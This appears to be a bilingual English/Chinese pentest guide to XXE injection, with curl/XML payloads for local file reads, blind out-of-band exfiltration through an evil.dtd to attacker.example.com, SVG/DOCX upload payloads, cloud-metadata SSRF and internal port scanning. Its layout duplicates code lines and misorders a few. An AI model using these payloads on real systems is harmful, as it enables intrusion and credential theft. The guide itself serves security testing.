testing-for-xxe-injection-vulnerabilities

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Testing for XXE Injection Vulnerabilities

XXE注入漏洞测试

When to Use

适用场景

  • During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)
  • When testing APIs that accept
    Content-Type: application/xml
    or
    text/xml
  • For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)
  • When evaluating SOAP-based web services for entity injection
  • During security assessments of enterprise applications using XML configuration
  • 当应用程序处理XML输入时(如SOAP API、文件上传、RSS订阅源),在授权渗透测试中使用
  • 测试接受
    Content-Type: application/xml
    text/xml
    的API时
  • 评估文件上传功能中的XML解析器(DOCX、XLSX、SVG、PDF格式)
  • 评估基于SOAP的Web服务是否存在实体注入时
  • 对使用XML配置的企业应用进行安全评估时

Prerequisites

前置条件

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: For intercepting and modifying XML requests
  • XXEinjector: Automated XXE exploitation tool (
    git clone https://github.com/enjoiz/XXEinjector.git
    )
  • Out-of-band server: Burp Collaborator or interactsh for blind XXE detection
  • curl: For manual payload crafting and submission
  • Python: For building DTD hosting server
  • 授权: 针对目标的书面渗透测试协议
  • Burp Suite Professional: 用于拦截和修改XML请求
  • XXEinjector: 自动化XXE利用工具(
    git clone https://github.com/enjoiz/XXEinjector.git
  • 带外服务器: Burp Collaborator或interactsh,用于盲XXE检测
  • curl: 用于手动构造和提交payload
  • Python: 用于搭建DTD托管服务器

Workflow

测试流程

Step 1: Identify XML Processing Points

步骤1:识别XML处理节点

Find all application endpoints that accept or process XML data.
bash
undefined
找到所有接受或处理XML数据的应用端点。
bash
undefined

Look for XML content types in Burp proxy history

在Burp代理历史中查找XML内容类型

Filter for: Content-Type: application/xml, text/xml, application/soap+xml

筛选条件:Content-Type: application/xml, text/xml, application/soap+xml

Test if JSON endpoints also accept XML

测试JSON端点是否也接受XML

Original JSON request:

原始JSON请求:

curl -s -X POST
-H "Content-Type: application/json"
-d '{"search":"test"}'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/json"
-d '{"search":"test"}'
"https://target.example.com/api/search"

Try converting to XML:

尝试转换为XML:

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><root><search>test</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?><root><search>test</search></root>'
"https://target.example.com/api/search"

Check file upload endpoints for XML-based formats

检查文件上传端点中基于XML的格式

DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP

DOCX、XLSX、PPTX、SVG、PDF、XML、RSS、ATOM、SOAP

These all contain XML that may be parsed server-side

这些格式都包含可能在服务器端被解析的XML

Check for SOAP endpoints

检查SOAP端点

curl -s -X POST
-H "Content-Type: text/xml"
-H "SOAPAction: """
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">soap:Body<test/></soap:Body></soap:Envelope>'
"https://target.example.com/ws/service"
undefined
curl -s -X POST
-H "Content-Type: text/xml"
-H "SOAPAction: """
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">soap:Body<test/></soap:Body></soap:Envelope>'
"https://target.example.com/ws/service"
undefined

Step 2: Test for Basic XXE with File Retrieval

步骤2:测试基础XXE以读取文件

Inject XML entities to read local files from the server.
bash
undefined
注入XML实体以读取服务器本地文件。
bash
undefined

Basic XXE payload to read /etc/passwd

读取/etc/passwd的基础XXE payload

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

Windows file read

Windows文件读取

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

Read application configuration files

读取应用配置文件

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

PHP filter wrapper for base64 encoding (avoids XML parsing errors)

使用PHP过滤器包装器进行base64编码(避免XML解析错误)

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
undefined
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
undefined

Step 3: Test Blind XXE with Out-of-Band Detection

步骤3:使用带外检测测试盲XXE

When the entity value is not reflected in the response, use out-of-band techniques.
bash
undefined
当实体值未在响应中回显时,使用带外技术。
bash
undefined

Blind XXE with HTTP callback (use Burp Collaborator or interactsh)

带HTTP回调的盲XXE(使用Burp Collaborator或interactsh)

Start interactsh: interactsh-client

启动interactsh: interactsh-client

Use the generated domain: abc123.oast.fun

使用生成的域名: abc123.oast.fun

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

Check interactsh/Collaborator for incoming DNS or HTTP requests

检查interactsh/Collaborator是否有传入的DNS或HTTP请求

Blind XXE with DNS exfiltration

带DNS数据窃取的盲XXE

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

Blind XXE via parameter entities (when regular entities are blocked)

通过参数实体实现盲XXE(当常规实体被阻止时)

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe; ]> <root><search>test</search></root>'
"https://target.example.com/api/search"
undefined
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe; ]> <root><search>test</search></root>'
"https://target.example.com/api/search"
undefined

Step 4: Exfiltrate Data via Out-of-Band XXE

步骤4:通过带外XXE窃取数据

Use external DTD to extract file contents through HTTP requests.
bash
undefined
使用外部DTD通过HTTP请求提取文件内容。
bash
undefined

Host a malicious DTD file on attacker server

在攻击者服务器上托管恶意DTD文件

Create file: evil.dtd

创建文件: evil.dtd

cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval; %exfil; EOF
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval; %exfil; EOF

Host the DTD

托管DTD

cd /tmp && python3 -m http.server 8888 &
cd /tmp && python3 -m http.server 8888 &

Send the XXE payload referencing the external DTD

发送引用外部DTD的XXE payload

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd; ]> <root><search>test</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd; ]> <root><search>test</search></root>'
"https://target.example.com/api/search"

For multi-line file exfiltration, use FTP protocol

如需窃取多行文件,使用FTP协议

evil-ftp.dtd:

evil-ftp.dtd:

cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval; %exfil; EOF
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval; %exfil; EOF

Use xxeserv or similar FTP listener to capture multi-line output

使用xxeserv或类似的FTP监听器捕获多行输出

python3 xxeserv.py --ftp --port 2121

python3 xxeserv.py --ftp --port 2121

undefined
undefined

Step 5: Test XXE via File Uploads

步骤5:通过文件上传测试XXE

Test XML parsing in document upload functionality.
bash
undefined
测试文档上传功能中的XML解析。
bash
undefined

SVG file with XXE

包含XXE的SVG文件

cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="0" y="20">&xxe;</text> </svg> EOF
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd">
]> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <text x="0" y="20">&xxe;</text> </svg> EOF

Upload the SVG

上传SVG

curl -s -X POST
-F "file=@/tmp/xxe.svg;type=image/svg+xml"
-b "session=abc123"
"https://target.example.com/api/upload/avatar"
curl -s -X POST
-F "file=@/tmp/xxe.svg;type=image/svg+xml"
-b "session=abc123"
"https://target.example.com/api/upload/avatar"

DOCX file with XXE (DOCX is a ZIP containing XML files)

包含XXE的DOCX文件(DOCX是包含XML文件的压缩包)

mkdir -p /tmp/xxe-docx cd /tmp/xxe-docx
mkdir -p /tmp/xxe-docx cd /tmp/xxe-docx

Unzip a legitimate .docx file

解压一个合法的.docx文件

unzip /tmp/template.docx -d /tmp/xxe-docx
unzip /tmp/template.docx -d /tmp/xxe-docx

Inject XXE into [Content_Types].xml or document.xml

将XXE注入[Content_Types].xml或document.xml

Add DTD with external entity to document.xml

重新打包: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *

Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *

包含XXE的XLSX文件(与DOCX技术相同)

XLSX with XXE (same technique as DOCX)

注入到xl/sharedStrings.xml或[Content_Types].xml

Inject into xl/sharedStrings.xml or [Content_Types].xml

undefined
undefined

Step 6: Test XXE for Server-Side Request Forgery (SSRF)

步骤6:测试XXE实现服务器端请求伪造(SSRF)

Use XXE to make the server send requests to internal services.
bash
undefined
使用XXE让服务器向内部服务发送请求。
bash
undefined

SSRF via XXE to cloud metadata

通过XXE访问云元数据实现SSRF

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"

Internal port scanning via XXE

通过XXE进行内部端口扫描

for port in 22 80 443 3306 5432 6379 8080 8443 9200; do echo -n "Port $port: " curl -s -X POST --max-time 5
-H "Content-Type: application/xml"
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>"
"https://target.example.com/api/search" | head -c 100 echo done
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do echo -n "Port $port: " curl -s -X POST --max-time 5
-H "Content-Type: application/xml"
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>"
"https://target.example.com/api/search" | head -c 100 echo done

Access internal services

访问内部服务

curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
undefined
curl -s -X POST
-H "Content-Type: application/xml"
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]> <root><search>&xxe;</search></root>'
"https://target.example.com/api/search"
undefined

Key Concepts

核心概念

ConceptDescription
XML External EntityAn entity defined in a DTD that references external resources via SYSTEM or PUBLIC keywords
DTD (Document Type Definition)Defines the structure and legal elements of an XML document, including entity declarations
Internal EntityEntity defined with a value directly in the DTD (
<!ENTITY name "value">
)
External EntityEntity that loads content from a URI (
<!ENTITY name SYSTEM "uri">
)
Parameter EntityEntity used within the DTD itself, prefixed with
%
(
<!ENTITY % name SYSTEM "uri">
)
Blind XXEXXE where entity values are not reflected in the response, requiring out-of-band exfiltration
Billion Laughs (DoS)Recursive entity expansion attack causing exponential memory consumption
XXE to SSRFUsing XXE to make the server send HTTP requests to internal or external services
概念描述
XML External Entity在DTD中定义的实体,通过SYSTEM或PUBLIC关键字引用外部资源
DTD (Document Type Definition)定义XML文档的结构和合法元素,包括实体声明
Internal Entity在DTD中直接定义值的实体(
<!ENTITY name "value">
External Entity从URI加载内容的实体(
<!ENTITY name SYSTEM "uri">
Parameter Entity在DTD内部使用的实体,前缀为
%
<!ENTITY % name SYSTEM "uri">
Blind XXE实体值未在响应中回显的XXE,需要通过带外方式窃取数据
Billion Laughs (DoS)递归实体扩展攻击,导致内存呈指数级消耗
XXE to SSRF使用XXE让服务器向内部或外部服务发送HTTP请求

Tools & Systems

工具与系统

ToolPurpose
Burp Suite ProfessionalRequest interception, modification, and Collaborator for OOB detection
XXEinjectorAutomated XXE exploitation with file exfiltration and SSRF capabilities
interactshOut-of-band interaction server for detecting blind XXE callbacks
xxeservDedicated FTP/HTTP server for XXE data exfiltration
OWASP ZAPAutomated XXE scanning in active scan mode
DTD-FinderDiscovers DTD files on the server for entity injection
工具用途
Burp Suite Professional请求拦截、修改,以及使用Collaborator进行带外检测
XXEinjector自动化XXE利用工具,具备文件窃取和SSRF功能
interactsh带外交互服务器,用于检测盲XXE回调
xxeserv专门用于XXE数据窃取的FTP/HTTP服务器
OWASP ZAP在主动扫描模式下自动化检测XXE
DTD-Finder发现服务器上的DTD文件,用于实体注入

Common Scenarios

常见场景

Scenario 1: SOAP API File Read

场景1:SOAP API文件读取

A SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads
/etc/passwd
and returns it in the SOAP response.
SOAP Web服务处理XML输入时未禁用外部实体。在SOAP体中注入带有SYSTEM实体的DTD,读取
/etc/passwd
并在SOAP响应中返回。

Scenario 2: SVG Upload Blind XXE

场景2:SVG上传盲XXE

An image upload feature accepts SVG files. The SVG is parsed server-side for thumbnail generation. Using a blind XXE payload in the SVG, server files are exfiltrated via out-of-band HTTP requests.
图片上传功能接受SVG文件,服务器端会解析SVG以生成缩略图。在SVG中使用盲XXE payload,通过带外HTTP请求窃取服务器文件。

Scenario 3: JSON to XML Content-Type Switch

场景3:JSON转XML内容类型切换

A REST API primarily uses JSON but the XML parser is also enabled. Switching
Content-Type
to
application/xml
and sending an XXE payload exposes server files through the API response.
REST API主要使用JSON,但XML解析器也已启用。将
Content-Type
切换为
application/xml
并发送XXE payload,通过API响应暴露服务器文件。

Scenario 4: DOCX Processing XXE

场景4:DOCX处理XXE

A resume upload feature processes DOCX files. Injecting XXE into the
[Content_Types].xml
file within the DOCX archive triggers file read when the document is parsed server-side.
简历上传功能处理DOCX文件。将XXE注入DOCX压缩包中的
[Content_Types].xml
文件,当服务器解析文档时触发文件读取。

Output Format

输出格式

undefined
undefined

XXE Injection Finding

XXE注入漏洞发现

Vulnerability: XML External Entity (XXE) Injection Severity: Critical (CVSS 9.1) Location: POST /api/search (Content-Type: application/xml) OWASP Category: A05:2021 - Security Misconfiguration
漏洞类型: XML外部实体(XXE)注入 严重程度: 高危(CVSS 9.1) 位置: POST /api/search(Content-Type: application/xml) OWASP分类: A05:2021 - 安全配置错误

Reproduction Steps

复现步骤

  1. Send POST request to /api/search with Content-Type: application/xml
  2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  3. Reference entity in XML body: <search>&xxe;</search>
  4. Server returns file contents in the response
  1. 向/api/search发送POST请求,设置Content-Type: application/xml
  2. 包含带有外部实体的DTD: <!ENTITY xxe SYSTEM "file:///etc/passwd">
  3. 在XML体中引用实体: <search>&xxe;</search>
  4. 服务器在响应中返回文件内容

Confirmed Impact

已确认影响

  • Local file read: /etc/passwd, /etc/hostname, application config files
  • SSRF: Accessed AWS metadata at 169.254.169.254
  • Internal network scanning: Identified internal services on ports 3306, 6379, 8080
  • 本地文件读取: /etc/passwd、/etc/hostname、应用配置文件
  • SSRF: 访问了AWS元数据地址169.254.169.254
  • 内部网络扫描: 识别到端口3306、6379、8080上的内部服务

Files Retrieved

获取到的文件

FileContents Summary
/etc/passwd42 user accounts, service accounts identified
/var/www/html/config.phpDatabase credentials in plaintext
/etc/hostnameInternal hostname: prod-web-01
文件内容摘要
/etc/passwd42个用户账号,识别出服务账号
/var/www/html/config.php明文数据库凭据
/etc/hostname内部主机名: prod-web-01

Recommendation

修复建议

  1. Disable external entity processing in the XML parser
  2. Disable DTD processing entirely if not required
  3. Use JSON instead of XML where possible
  4. Implement input validation to reject DTD declarations in XML input
  5. Apply least-privilege file system permissions for the web server user
undefined
  1. 在XML解析器中禁用外部实体处理
  2. 如果不需要,完全禁用DTD处理
  3. 尽可能使用JSON替代XML
  4. 实现输入验证,拒绝XML输入中的DTD声明
  5. 为Web服务器用户应用最小权限文件系统权限
undefined